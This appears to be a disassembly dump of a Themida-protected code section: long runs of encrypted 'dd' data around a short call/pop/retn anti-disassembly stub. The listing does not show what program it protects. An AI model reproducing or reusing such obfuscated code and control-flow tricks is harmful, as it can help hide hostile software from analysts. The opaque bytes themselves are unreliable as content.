dd 4985BB90h, 0F502ED6h, 1A84h, 10E800h, 5F670000h, 0C83F7E6Fh
dd 0AF300156h, 8B6B78D1h, 0BF6666A8h, 905B7420h, 95FFFA8Ah
dd 6131E95h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
dd 1Ch, 44C35242h, 4D8FF04Eh, 93C61745h, 6E9h, 0F9119B00h
dd 0E9812969h, 0E2Fh, 0E8h, 0ED815D00h, 61830FFh, 0BEE216BFh
dd 8B606023h, 130D8585h, 2A18BA06h, 0F961572Dh, 5E858D61h
dd 6A06168Fh, 3E85200h, 20000000h, 895AC35Ah, 81042454h
dd 1A042444h, 42000000h, 6579C352h, 9215E8E8h, 12BF66ADh
dd 57DB805Ah, 0CE95090h, 0B000000h, 0EA722CE7h, 8B4FAD12h
dd 90EDD77Ch, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
dd 17h, 98C35141h, 0FF84F84h, 68Ch, 0F5B58900h, 8B061313h
dd 35FF64DEh, 0
; ---------------------------------------------------------------------------
push 0
push ebp
call sub_5CF467
and [ebp-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5CF467 proc near ; CODE XREF: Themida_:005CF45Fp
arg_4 = dword ptr 8
pop ebp
mov [esp-4+arg_4], ebp
add [esp-4+arg_4], 17h
inc ebp
push ebp
retn
sub_5CF467 endp
; ---------------------------------------------------------------------------
db 49h
dd 814CB8EBh, 0EA5D2FD7h, 5E913h, 5EDB0000h, 0F877E07h
dd 284h, 645F5700h, 2589h, 9D8B0000h, 6132821h, 16D985FFh
dd 6A0613h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 170424h
dd 55450000h, 6A1E0DC3h, 519D8907h, 6A06130Dh, 0CE960FFh
dd 0CB000000h, 75ADB00Dh, 40C57A9Ah, 891051B9h, 132F8D95h
dd 0B5FF6106h, 6132331h, 0E850006Ah, 3, 58C35820h, 4244489h
dd 4244481h, 1Ah, 0E3C35040h, 0BE84E2Ch, 95FF9846h, 61331ADh
dd 16CE9h, 799D8B00h, 0B0061324h, 15C38100h, 0E66F1432h
dd 80516070h, 0E85E44C4h, 0Fh, 0FD84D6D4h, 4D6D13C0h, 4DA7212Bh
dd 0F894D76Dh, 71E4615Ah, 48B0Fh, 0BF660000h, 613C8331h
dd 12B830Fh, 0B60F0000h, 5E8C8h, 70D0000h, 56579227h, 1B018D89h
dd 5F5B0613h, 14E8h, 0FA4AFC00h, 88FFB8C4h, 127CD8FFh
dd 5A203C3Fh, 0C7E6A2Fh, 68E0FA4h, 89000000h, 13299D8Dh
dd 6BA5F06h, 0E9000000h, 11h, 59FCF4F4h, 0F8769D68h, 1150FE88h
dd 548BE7C0h, 0FC18B87h, 0AE9DAB7h, 0EC000000h, 4FE57FE2h
dd 0ED646B53h, 4E8C139h, 0FE2F766h, 685h, 0F1958900h, 2B061315h
dd 0CE8C8h, 41260000h, 46ABB689h, 5D582F38h, 0BD8BAF4Eh
dd 6133135h, 89D18B5Fh, 131AF9BDh, 87E906h, 9600000h, 130D61BDh
dd 0C7BF0F06h, 4C858B61h, 89494755h, 132B6985h, 9BD8906h
dd 83061328h, 0C08307C0h, 0E5BB6600h, 0FD03BE5h, 2783h
dd 12E96000h, 0
dd 0BBE30789h, 12FB4977h, 7C46A794h, 51E21640h, 0C38B662Bh
dd 37E961h, 0BD8B0000h, 6131619h, 0FFFF8D8Bh, 0E183FFFFh
dd 22840F01h, 83000000h, 0FFFFFFA5h, 0F51FEFFh, 382h, 0F8BF0F00h
dd 4C95895Bh, 53494755h, 5BFE8B66h, 0E9h, 23B58D00h, 6A0617B2h
dd 3E85000h, 20000000h, 8958C358h, 81042444h, 19042444h
dd 40000000h, 0F213C350h, 97F6F4A6h, 0AFA6E781h, 6A512Eh
dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 16h, 4BC35545h
dd 95FF0329h, 6130DA9h, 0D0B95F57h, 6A00000Fh, 3E85500h
dd 20000000h, 895DC35Dh, 8104246Ch, 1B042444h, 45000000h
dd 0DA3CC355h, 85D9F132h, 9D8BDA84h, 6130F21h, 6AFCE183h
dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 1B042444h
dd 43000000h, 0D03CC353h, 2E24EE5Eh, 11E89584h, 4000000h
dd 0EE903DE1h, 0BDEB6C86h, 20FBC7F4h, 0A719AC63h, 32119D03h
dd 0FC5F0613h, 23359D8Bh, 0B80613h, 81000000h, 0FF6DAEE7h
dd 0C9950920h, 2B061300h, 819D8BD2h, 0AD061310h, 0E8D1C233h
dd 0E983D003h, 89F47504h, 131D859Dh, 0A850F06h, 60000000h
dd 4046BA66h, 4E52BA66h, 53006A61h, 3E8h, 0C35B2000h, 245C895Bh
dd 24448104h, 1C04h, 0C3534300h, 4777191Ch, 9367AF16h
dd 659D33F8h, 0D061325h, 88h, 10E8h, 0C188900h, 958815BEh
dd 0D7BDF4C3h, 0C4F2D964h, 0DA8B6670h, 0BD958B5Bh, 8906131Bh
dd 131B4585h, 0DD8D8B06h, 6A061318h, 3E85100h, 20000000h
dd 8959C359h, 8104244Ch, 1C042444h, 41000000h, 9771C351h
dd 0E95D563h, 66408D98h, 387CC781h, 0C28B50F5h, 0C103188Bh
dd 0C18B188Bh, 0C203E8D1h, 6658188Bh, 6698EF81h, 0E855006Ah
dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Ah, 0A0C35545h, 7E045FCh
dd 0BD83BDC0h, 6131D1Dh, 66840F00h, 6A000000h, 3E85300h
dd 20000000h, 895BC35Bh, 8104245Ch, 1A042444h, 43000000h
dd 25E2C353h, 0E81835FAh, 721ABF25h, 0BB660D3Dh, 0B8825Ch
dd 6A000000h, 3E85100h, 20000000h, 8959C359h, 8104244Ch
dd 1C042444h, 41000000h, 43FCC351h, 533EE39Ch, 8130D6E8h
dd 0E0EEDFC3h, 8D8D8D06h, 0FF06134Fh, 2BBB66E1h, 55BD8341h
dd 61330h, 44B840Fh, 6A0000h, 3E851h, 59200000h, 4C8959C3h
dd 44810424h, 1B0424h, 51410000h, 4A1EEDC3h, 0BFE176D4h
dd 1DBF6643h, 11E9E5h, 10E0000h, 7D0312B8h, 0DE4B29E3h
dd 65667A45h, 0E963688Fh, 0Bh, 3E1106ABh, 3E936DF1h, 8328C903h
dd 133055BDh, 840F0106h, 40Ch, 8E9h, 56C3EF00h, 2FE09D9Ah
dd 55BD83D0h, 3061330h, 3BC860Fh, 0EE90000h, 48000000h
dd 0F2D5EEB1h, 4DF79888h, 0BDD876BDh, 0BF666053h, 8C6619F3h
dd 53006AD9h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1804h
dd 0C3534300h, 63F092B6h, 0D880FFCh, 0E9000000h, 8, 0B688205Ah
dd 53093624h, 8B04E180h, 132B819Dh, 0FC90A06h, 13884h
dd 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1804h
dd 0C3534300h, 51086A49h, 6860F71h, 89000000h, 131DED95h
dd 0B9858B06h, 6A06132Bh, 3E85200h, 20000000h, 895AC35Ah
dd 81042454h, 1D042444h, 42000000h, 7FD9C352h, 44D4D012h
dd 59C32830h, 5B98533h, 6A0613h, 3E855h, 5D200000h, 6C895DC3h
dd 44810424h, 1B0424h, 55450000h, 0F796F1C3h, 8EE6F70Bh
dd 81BF6659h, 9E95019h, 0E0000000h, 5A9FBD6Ch, 39975704h
dd 7E9905Bh, 0EF000000h, 1A8292E8h, 9050D872h, 9FB8B66h
dd 13320DBDh, 0B3006A06h, 8E81687Ch, 6CBFA582h, 8179C12Ch
dd 757E2404h, 6A5A9Ch, 3E852h, 5A200000h, 54895AC3h, 44810424h
dd 1C0424h, 52420000h, 5F0A53C3h, 866D22E8h, 35BB7421h
dd 0FF00D089h, 130A3D95h, 57006A06h, 3E8h, 0C35F2000h
dd 247C895Fh, 24448104h, 1804h, 0C3574700h, 0F843B888h
dd 5485894Fh, 8B0616C4h, 130EADBDh, 0B810F06h, 0E9000000h
dd 6, 9860F9A6h, 0A8E9565Fh, 31000001h, 13237985h, 4C858B06h
dd 290616C4h, 1325FD8Dh, 1800C706h, 6A000000h, 3E85100h
dd 20000000h, 8959C359h, 8104244Ch, 1D042444h, 41000000h
dd 616EC351h, 3A5ADD35h, 0E137422Eh, 0C450B58Bh, 0BF0F0616h
dd 55858BDAh, 8906132Ah, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh
dd 24448104h, 1704h, 0C3564600h, 8D24101h, 3830Fh, 8B660000h
dd 0B9858BF8h, 6A06132Bh, 3E85000h, 20000000h, 8958C358h
dd 81042444h, 17042444h, 40000000h, 0A1F9C350h, 89F947B7h
dd 0BD330446h, 61324F9h, 0D1B66050h, 24348961h, 0B5FFF88Bh
dd 616C44Ch, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
dd 15h, 0D8C35747h, 8E896h, 0F01C0000h, 0D5E8A88Dh, 9D233ECCh
dd 613177Dh, 0B8BCBF5Fh, 9589309Dh, 61309A1h, 0B1971968h
dd 0DE8B660Fh, 0E6243481h, 8D0FAE94h, 16C45485h, 56006A06h
dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1904h, 0C3564600h
dd 6E98D91Ah, 60507508h, 11E8h, 49A38400h, 1DA23BBFh, 695F9167h
dd 2DA00307h, 11E82AB3h, 0FF000000h, 5BF03AFCh, 51B2CCA9h
dd 0C40E09DBh, 2E818A0Ch, 0BE665A58h, 89615E07h, 6A2404h
dd 3E850h, 58200000h, 448958C3h, 44810424h, 1C0424h, 50400000h
dd 0F7BC83C3h, 3AD99C61h, 820FA42Bh, 6, 207D8501h, 95FF0613h
dd 6130A3Dh, 0D870Fh, 8E90000h, 0D5000000h, 9F9BB7D5h
dd 618B9368h, 3109BD8Bh, 9D8B0613h, 613259Dh, 305585C7h
dd 30613h, 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
dd 170424h, 53430000h, 5A8252C3h, 54BD8309h, 616C4h, 40840Fh
dd 880F0000h, 6, 0EB5BD29h, 4AE90613h, 6A000000h, 3E85300h
dd 20000000h, 895BC35Bh, 8104245Ch, 14042444h, 43000000h
dd 0FF0C353h, 78Bh, 1890F00h, 0F5000000h, 0FF18589h, 30500613h
dd 4400110Ch, 0E8C10111h, 11443010h, 114C0002h, 0E9835803h
dd 0EBE77504h, 4305036h, 11640011h, 10E8C101h, 2114430h
dd 3116400h, 4E98358h, 1BEBE775h, 10E8C150h, 3116428h
dd 2114430h, 11642858h, 11043001h, 7504E983h, 8B00EBE7h
dd 501CBBC0h, 0BD01330Bh, 6133029h, 3055BD83h, 0F030613h
dd 46285h, 12E900h, 7C790000h, 0E39DEFBDh, 7B858609h, 6FBDFCB8h
dd 0F33985ACh, 0C454BD83h, 0F000616h, 43E84h, 51006A00h
dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1904h, 0C3514100h
dd 3A239568h, 0B5FF547Dh, 616C454h, 0E852006Ah, 3, 5AC35A20h
dd 4245489h, 4244481h, 1Ch, 0AEC35242h, 0D869961Bh, 66F62536h
dd 14E9h, 0B1CAF700h, 0E433BDF8h, 9489BFE7h, 98192714h
dd 0AEF0A7AEh, 6995FF8Fh, 0F061309h, 68Ah, 71858900h, 8B06131Dh
dd 16C448B5h, 59D2906h, 0C7061323h, 1000106h, 25BD8B00h
dd 9606132Ch, 9E8h, 84E1AD00h, 1E77AA86h, 8B66E36Ch, 8B505FDAh
dd 9D8B96DFh, 613301Dh
dd 0C454B5FFh, 9D890616h, 6131729h, 322995FFh, 6A0613h
dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 190424h, 57470000h
dd 92E231C3h, 809F6644h, 0B58B46C7h, 616C448h, 0D6C38166h
dd 31858B8Bh, 6A061306h, 3E85700h, 20000000h, 895FC35Fh
dd 8104247Ch, 1D042444h, 47000000h, 0BD92C357h, 7BED3E55h
dd 91F47700h, 919BD8Bh, 8D890613h, 613012Dh, 0EE8h, 0FA150000h
dd 44C96785h, 0EE92FC97h, 897BBD70h, 131E319Dh, 86895F06h
dd 0C4h, 0DE9h, 3C2E0C00h, 8864E881h, 23EB6A2Ah, 9D09B130h
dd 61314ADh, 1BBD958Bh, 6A0613h, 3E852h, 5A200000h, 54895AC3h
dd 44810424h, 140424h, 52420000h, 0C2839EC3h, 53006A04h
dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1D04h, 0C3534300h
dd 0F41F6E79h, 57648579h, 9D33C577h, 61329A1h, 23B98589h
dd 50890613h, 56006A20h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
dd 1604h, 0C3564600h, 89680FFCh, 130D1D95h, 0E3858D06h
dd 800616D8h, 9D891CDFh, 6131F7Dh, 0B88689h, 6A0000h, 3E853h
dd 5B200000h, 5C895BC3h, 44810424h, 1C0424h, 53430000h
dd 0A1530DC3h, 0BC6E8409h, 0CEBB9030h, 6A30AEFCh, 50006A00h
dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1904h, 0C3504000h
dd 492DC609h, 0B5FFF2D1h, 616C454h, 0E851006Ah, 3, 59C35920h
dd 4244C89h, 4244481h, 14h, 2AC35141h, 1601BD09h, 95FF0613h
dd 6131E95h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
dd 17h, 8FC35343h, 501EC012h, 12E8h, 327EB800h, 6F9C6FADh
dd 26034DB5h, 967836F5h, 5B1A2A58h, 6A243489h, 3E85000h
dd 20000000h, 8958C358h, 81042444h, 1C042444h, 40000000h
dd 725DC350h, 0C36345D1h, 0FF76A2AAh, 16C454B5h, 55006A06h
dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1A04h, 0C3554500h
dd 0CE5C9941h, 60523B8Fh, 2605858Bh, 9D8B0613h, 6130F4Dh
dd 4BBB6661h, 4595FF6Fh, 8B061321h, 13296DBDh, 95BD8306h
dd 61314h, 13840Fh, 0CF810000h, 78B2BD48h, 0E7BF6650h
dd 243489A1h, 7A95E7BBh, 54B5FF0Bh, 6A0616C4h, 3E85100h
dd 20000000h, 8959C359h, 8104244Ch, 14042444h, 41000000h
dd 0FAEC351h, 28Dh, 66DDB300h, 0B55CF781h, 5AD95FFh, 81600613h
dd 0B7B35AEEh, 0D88B6605h, 54B5FF61h, 6A0616C4h, 3E85100h
dd 20000000h, 8959C359h, 8104244Ch, 16042444h, 41000000h
dd 6625C351h, 0FE8B66DEh, 120995FFh, 6A0613h, 3E856h, 5E200000h
dd 74895EC3h, 44810424h, 140424h, 56460000h, 0BD8314C3h
dd 6130511h, 6C840F02h, 6A000000h, 3E85600h, 20000000h
dd 895EC35Eh, 81042474h, 1C042444h, 46000000h, 0ACF8C356h
dd 93EA5DDCh, 0E9F1680Dh, 0Ch, 1463486Bh, 66AA1FA4h, 4E6DBAD5h
dd 0F55858Bh, 6A0613h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
dd 160424h, 57470000h, 329011C3h, 48D0Fh, 60500000h, 0C65B61h
dd 199D8B00h, 0C7061306h, 131E5185h, 6, 0F98D2900h, 0E906130Fh
dd 0FFFFF2FFh, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
dd 14h, 94C35242h, 164945BFh, 66C18B44h, 8DF8E4BBh, 18402A8Dh
dd 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1804h
dd 0C3514100h, 0EF056D3Bh, 89C68BF5h, 131BBD8Dh, 13E806h
dd 376F0000h, 3315EBE4h, 0D28C1ADCh, 2AC4DCA5h, 0E5087E4Eh
dd 148B0F22h, 0E8000000h, 0Eh, 2278A2CCh, 9DEE71Dh, 0C4B1FE4Bh
dd 5A5ACE69h, 18DD85C7h, 60240613h, 6A0000h, 3E857h, 5F200000h
dd 7C895FC3h, 44810424h, 1A0424h, 57470000h, 950667C3h
dd 5F5851B1h, 305585C7h, 613h, 0B5FF0000h, 613302Dh, 0E855006Ah
dd 3, 5DC35D20h, 4246C89h, 4244481h, 15h, 21C35545h, 0BE905h
dd 0BCC60000h, 26C82F28h, 64ACA07Ch, 6E95Ch, 4DE40000h
dd 0A263AE3Ch, 1D8995FFh, 6A0613h, 3E856h, 5E200000h, 74895EC3h
dd 44810424h, 140424h, 56460000h, 0DA8000C3h, 0FF006A87h
dd 130DA995h, 0EBC08B06h, 0DCEB8D7Fh, 5BE4A752h, 0A1BB256Dh
dd 3779A661h, 0BEFE2EBEh, 0F6AEB917h, 0F85A6B99h, 0AC72869Ch
dd 2320BB1Eh, 0E16C8417h, 91B71BD5h, 24D77DCFh, 0BDFE9F41h
dd 0BAE847E9h, 0F714E402h, 83EE3729h, 88D2C16Eh, 9086DAF8h
dd 5889DBD1h, 542A8AA7h, 727E2C4h, 5DC38C61h, 0A6A32B77h
dd 4A36F75Bh, 0DF5F57FCh, 4A0D1525h, 2499F961h, 5B73FD3h
dd 99EECE1h, 9409110Bh, 326BF194h, 0E7D04F8h, 41758D8Dh
dd 8D890618h, 6131BBDh, 85C7D68Bh, 61318DDh, 5A14h, 0E851006Ah
dd 3, 59C35920h, 4244C89h, 4244481h, 1Bh, 18C35141h, 83DA0F1Eh
dd 66B9DD3Ah, 0C7047CBAh, 13305585h, 6, 53006A00h, 3E8h
dd 0C35B2000h, 245C895Bh, 24448104h, 1D04h, 0C3534300h
dd 0EF2F45D5h, 0CDEE79FFh, 0BF0F755Fh, 14E9C0h, 0EF880000h
dd 0FC568DFEh, 0D0461323h, 37616078h, 890CD9B6h, 0B5FF53ABh
dd 6132831h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
dd 1Ch, 0D5C35040h, 0F3DCDAAEh, 6E136B20h, 1D8995FFh, 0BD890613h
dd 6133101h, 95FF006Ah, 6130DA9h, 2FEBC08Bh, 0D227C7B0h
dd 733E83BEh, 9B134694h, 0B9772B0Bh, 0A365C2CEh, 3DD254B8h
dd 56AAAF43h, 2BA125B3h, 4326A925h, 0A0D40C8Eh, 98DE54D4h
dd 8D5DFA7Dh, 18421F8Dh, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh
dd 24448104h, 1D04h, 0C3574700h, 0AE7ABDE9h, 7C8214B1h
dd 0FBBE567Ch, 8B12698Ah, 0BD8D89FAh, 8006131Bh, 0DEB477E4h
dd 18DD85C7h, 71100613h, 9D890000h, 6131361h, 305585C7h
dd 613h, 0B5FF0000h, 6132331h, 0BBDBD23h, 95FF0613h, 6131D89h
dd 0BF5858Bh, 6A0613h, 0DA995FFh, 0C08B0613h, 0C88F7EEBh
dd 78FEE006h, 5FD9FB8Eh, 50329321h, 7B8AAEC5h, 0AB7962D7h
dd 57060963h, 190ABD39h, 4116D1A5h, 8FCE5C99h, 34BC523Bh
dd 5BF8EF52h, 0A8B04251h, 4581E395h, 3572B953h, 0A465D20h
dd 0E545EB74h, 0FFFED19Dh, 0CD9A26BEh, 0C9206153h, 0CC27915Fh
dd 25165DF0h, 9831BD16h, 0F7B75156h, 3A0662F2h, 0E15F99C2h
dd 0E36EB5C6h, 0F2896510h, 0DECCF514h, 51588380h, 841E9FA1h
dd 223E5005h, 17C5576Ah, 46C53EEDh, 859C1D82h, 6289B418h
dd 6281BCA4h, 46C52154h, 85947C28h, 721CF34Ah, 65FAE213h
dd 0E758B621h, 0CDC32EA7h, 3D08BD81h, 50E08023h, 33C53B43h
dd 0C778BE21h, 46C32E38h, 1595247Eh, 457DFD8Eh, 0CFC53D86h
dd 55C840C4h, 3B58B0A6h, 0B9C328F9h, 0C59D66FBh, 55E9BCA9h
dd 51B13D0Ch, 457D6E55h, 0CFC53D86h, 55C840C4h, 2A58B0A6h
dd 0B9C328F6h, 0CF9D66FBh, 55E1A891h, 46C2D40Ch, 71283D05h
dd 82679DD0h, 2C05B6E1h, 452D68A0h, 66C53D50h, 0CF98FE75h
dd 0C7C11978h, 5FC1194Eh, 3C53D05h, 0A7C7FED7h, 40E3CFD2h
dd 2C1DB1C6h, 452D6C50h, 66C53D28h, 0CF9CFE4Dh, 0C7C11946h
dd 5EC11941h
dd 7C53D82h, 3B66FE10h, 491752E3h, 46C531D8h, 40413228h
dd 0CFC53D14h, 55E964B7h, 49C19503h, 46C10B06h, 52493241h
dd 0AFC53DA0h, 46C53D5Fh, 0A8E37788h, 5F878DA8h, 0AA49E1E7h
dd 0C5B38F9Eh, 55D7983Fh, 0C2CA3D47h, 46C53DACh, 4E2C0BE3h
dd 0C6C53D2Ch, 0D07665FDh, 46E23DB4h, 14C55707h, 46C53E6Ah
dd 859F1D41h, 6291B4FAh, 6281BC54h, 46C52A2Ch, 85977F14h
dd 0A8044FE7h, 5238B036h, 0C3483B91h, 40D34D4Dh, 7380B029h
dd 963A3B43h, 65DC80A3h, 807F3B07h, 0C38F801Eh, 0E94132C5h
dd 2CC53D82h, 452D6A41h, 66C53DA0h, 0CF9AFE0Fh, 0C7C11954h
dd 50C11950h, 1C53D0Ah, 6D4AFE52h, 8C445B19h, 7E44F3E7h
dd 0BD445BF7h, 4680B85Fh, 0DB4E3D28h, 40D62E95h, 42BDBC6Ch
dd 0C2CA3F07h, 46C53E11h, 46C52CA9h, 0FFC44CA0h, 419656B0h
dd 719219F5h, 0A4007148h, 0FB4E3554h, 40D60C88h, 46CFD5DBh
dd 3A893D41h, 31C611A6h, 0FE94ACD1h, 4228A0A3h, 209F3B07h
dd 2659058Bh, 46F5B80Ah, 0CDA53D82h, 55EE98F4h, 3E455CA6h
dd 0C3CAD552h, 46C53D36h, 6CB8B09Dh, 0C7A33B19h, 0EDC53B7Dh
dd 46C9B88Dh, 0BE4E3D41h, 46C61749h, 0A7445B50h, 467B61EBh
dd 0CD833C15h, 55CBB49Fh, 117F5B03h, 4A40B04Bh, 0CDC32B31h
dd 55C8581Dh, 4915C256h, 46C53FABh, 0C33CB614h, 9A4132CAh
dd 14C53D07h, 46C8D4E2h, 1D93D41h, 0C1E1F085h, 216FEB12h
dd 0C773144Ch, 8F0754E3h, 0C79C5C24h, 44F85B3Dh, 3403280h
dd 0AFC53D41h, 46C53DAFh, 1642EF56h, 58138A8h, 4CB53870h
dd 0C71F5FF4h, 7BA33B7Dh, 0C2CA47DDh, 46C53FEEh, 0AE933DCAh
dd 46C53D53h, 18066308h, 42E1499Dh, 42E1798Bh, 46C53D1Ch
dd 0D8066BC4h, 4C140C55h, 891ABD25h, 0DAFDBC36h, 0C8403248h
dd 2CC53D14h, 452D6E0Ah, 66C53D05h, 0CF9EFED9h, 0C7C1191Dh
dd 5BC119E4h, 5C53D50h, 0AB2BFE7Bh, 7E7241FFh, 3D7DED0Ch
dd 4AACB08Eh, 0FB4C3B91h, 40D63804h, 0AEC74520h, 4696B85Fh
dd 0C7A33D28h, 2021C4E6h, 20E5F8B3h, 46C34584h, 78403242h
dd 10C53D41h, 46C6BDAFh, 0F9CA3D50h, 662C64F9h, 2CC53D16h
dd 452D6C0Ah, 66C53D05h, 0CF9CFEDBh, 0C7C1190Dh, 5CC119E4h
dd 7C53D50h, 5A63FE79h, 5358FD1h, 0F748B47Ah, 0CFC32E27h
dd 55E6001Fh, 47C58347h, 46AF43A1h, 46C6D506h, 18E53D28h
dd 324C63D7h, 244392Eh, 46D83921h, 10833D82h, 9A136182h
dd 174C9F4Fh, 0CF8781D0h, 55ED6C95h, 4A40B012h, 0CFC32B7Ah
dd 55C82C88h, 0AF15C284h, 46C53D49h, 2D3A6CCEh, 1B2EF1C0h
dd 0C2CAFDADh, 46C53C97h, 902EBC6Ch, 0AEFDBD3Bh, 4645B88Dh
dd 46AF3D41h, 46C6D5F2h, 1CE53D50h, 124C67EBh, 2443930h
dd 46D8392Eh, 14873D05h, 0C0404E41h, 0A7473E48h, 20A281B3h
dd 0C61673E9h, 49B63850h, 46C57091h, 0B70140Ah, 0C6C32E03h
dd 49963AFAh, 46C473C5h, 10C557A0h, 46C53EB8h, 859B1D28h
dd 62B1B44Ah, 6281BC0Eh, 46C52501h, 85937B82h, 3E3382EFh
dd 46D1D576h, 19633D50h, 62622FBCh, 842C4385h, 0DB6F79ACh
dd 980BA0B5h, 0B0457250h, 0C7A3666Bh, 49C0B298h, 46C5D7D5h
dd 11C55728h, 46C53EFCh, 859A1D0Ah, 62B9B45Ah, 6281BC86h
dd 46C52945h, 85927AA0h, 46D7D4BAh, 0FBC93D28h, 0E7D22B6Bh
dd 81EC5A2Fh, 0E6DD4093h, 0C833A06Ah, 2EC345C1h, 4668B8AFh
dd 46AF3D50h, 46C6D578h, 1EE53D14h, 24C65C9h, 2443921h
dd 46DE39A6h, 16853D41h, 7A785E63h, 921E4B6Eh, 46CED509h
dd 729B3D14h, 6C1B2BEEh, 3C121E65h, 40403292h, 0CDC53D41h
dd 55F7741Dh, 0C7A36456h, 633A3650h, 46A4B81Bh, 46AF3D0Ah
dd 46C6D556h, 1DE53D82h, 1A4C6682h, 2443984h, 46D33974h
dd 15863D28h, 0EB8666D7h, 46C567E3h, 11C55705h, 46C53E6Ah
dd 859A1D41h, 62B9B4FFh, 6281BC54h, 46C52A2Ch, 85927A14h
dd 450530D1h, 5710A804h, 522C3B91h, 1BC53D41h, 6C0C18ABh
dd 2D0CF9C1h, 0C2C1ACC2h, 0B882F2EFh, 0FE5B249Fh, 46C53D05h
dd 4CAC8081h, 0CB4E3B52h, 40D63709h, 46C50BB9h, 0C7780C28h
dd 0FEC32E11h, 46C53D0Bh, 0AE933D6Fh, 46C53D81h, 18066361h
dd 42E14929h, 42E179D1h, 46C53D32h, 78066B52h, 8D8094E8h
dd 0DB4C475Eh, 40D612FFh, 16AED4C1h, 0CF0DB6C6h, 46AF1954h
dd 46C6D579h, 1FE53D14h, 0A4C64C9h, 2443921h, 46D039A6h
dd 17843D41h, 0CBBC2763h, 5E879FEDh, 1748B02Eh, 0FEC3255Ch
dd 31A36829h, 51C8B806h, 89EE3B91h, 0A147C583h, 646AF43h
dd 2846C6D5h, 0D718E53Dh, 2E324C63h, 21024439h, 8346D839h
dd 0A4F305E9h, 56006A58h, 3E8h, 0C35E2000h, 2474895Eh
dd 24448104h, 1704h, 0C3564600h, 0A2E771BAh, 2850Fh, 92B60000h
dd 0C00BDCB1h, 70840Fh, 52560000h, 8E0Fh, 59590000h, 4F8DB58Dh
dd 6A0613h, 3E850h, 58200000h, 448958C3h, 44810424h, 150424h
dd 50400000h, 0B9511AC3h, 56A3AD1Ah, 3B8h, 98D8900h, 0FF061315h
dd 53006AE6h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1D04h
dd 0C3534300h, 4103F6C8h, 16F994FCh, 9589ACD9h, 613255Dh
dd 1F19958Bh, 0B9400613h, 7454678Ch, 0B966C08Bh, 0F380B72Ah
dd 25BD837Ch, 61316h, 0BD830975h, 6132C81h, 50197400h
dd 0B8C08B53h, 403h, 31158589h, 9D8D0613h, 615A9E4h, 585BD3FFh
dd 2C81BD83h, 74000613h, 0B8535017h, 403h, 31158589h, 9D8D0613h
dd 615A685h, 585BD3FFh, 0AFD3BF66h, 0C789EA81h, 0F3815939h
dd 50ECD1F8h, 8B66C08Bh, 8D8D61CAh, 6184A5Dh, 0E851006Ah
dd 3, 59C35920h, 4244C89h, 4244481h, 1Ch, 0F9C35141h, 0E27BD7EAh
dd 4AE93644h, 1BBD8D89h, 6A0613h, 3E851h, 59200000h, 4C8959C3h
dd 44810424h, 170424h, 51410000h, 0FDD214C3h, 0EE90Eh
dd 0ABE00000h, 0DDF3E7F8h, 56AED9F8h, 1900BD9Fh, 18DD85C7h
dd 6DDC0613h, 9D890000h, 6131FDDh, 305585C7h, 613h, 0DA8B0000h
dd 302DB5FFh, 6A0613h, 3E856h, 5E200000h, 74895EC3h, 44810424h
dd 1A0424h, 56460000h, 7176E4C3h, 4626B26Bh, 0D7CB8166h
dd 8995FFF4h, 6A06131Dh, 3E85600h, 20000000h, 895EC35Eh
dd 81042474h, 1D042444h, 46000000h, 6948C356h, 2FDD286Ah
dd 36A40D77h, 95FF006Ah, 6130DA9h, 7FEBC08Bh, 0A940D5C4h
dd 0D375E4Bh, 0E10109E4h, 0B43F5A50h, 28F816A6h, 2FEAE15Bh
dd 43E0213Ah, 0CC694260h, 99B79F2h, 5B3892CEh, 5A0EB91h
dd 0DB042EA4h, 5C588832h, 5B5B4A5Fh, 0F11C926Ah, 1F8A6A03h
dd 82350470h, 1EDC5713h, 6150AEABh, 0D4CC4B07h, 9805FCE0h
dd 2703DCCAh, 3D41529Eh, 0BD027DB0h, 2F3949C5h, 0D585E093h
dd 9007B027h, 82846DE8h, 0F0735A8Ch, 4A200C3Ah, 521FDCA6h
dd 0DEE58F18h, 0D4D4712Ah, 1DC4B46h, 0D4C8557Fh, 6398525Ch
dd 0A9A90B33h, 0F1982633h, 0EF5E265Ah, 338B37D2h, 0FFB44E60h
dd 0F867A5E4h, 0A08B38DAh, 2FABA3BEh, 79672025h, 0C149A3BAh
dd 0D71B2020h, 338B39A6h, 831D2933h, 0C0982633h, 0BED2D7B6h
dd 0D6157635h, 0AF806CD0h, 50DD963h, 839E3526h, 35982664h
dd 1F152359h, 4B806CC0h, 451DAB63h, 39E3E79h, 0B28DB3CCh
dd 14932020h, 6AA1A23Ch, 0B0152633h, 9C806CC0h, 4DAACE63h
dd 0F6D82633h, 1961A3BEh, 24C8202Bh, 0CCD2D5B6h, 0FF677635h
dd 338B37B6h, 1794E2B0h, 55D2D5B6h, 23157635h, 55806CD0h
dd 780DD963h, 3D9E3526h, 6A982651h, 6474AD66h, 11CE7464h
dd 8DAB2E4Eh, 0A69824DAh, 0D3DF6633h, 2C97260Ch, 2B67D9C6h
dd 1713EF00h, 35B2CF3Bh, 48AB2633h, 0A71831B9h, 0E868AD03h
dd 5AAD63h, 0A9982C88h, 0D49BCF33h, 896F2633h, 3566A57Dh
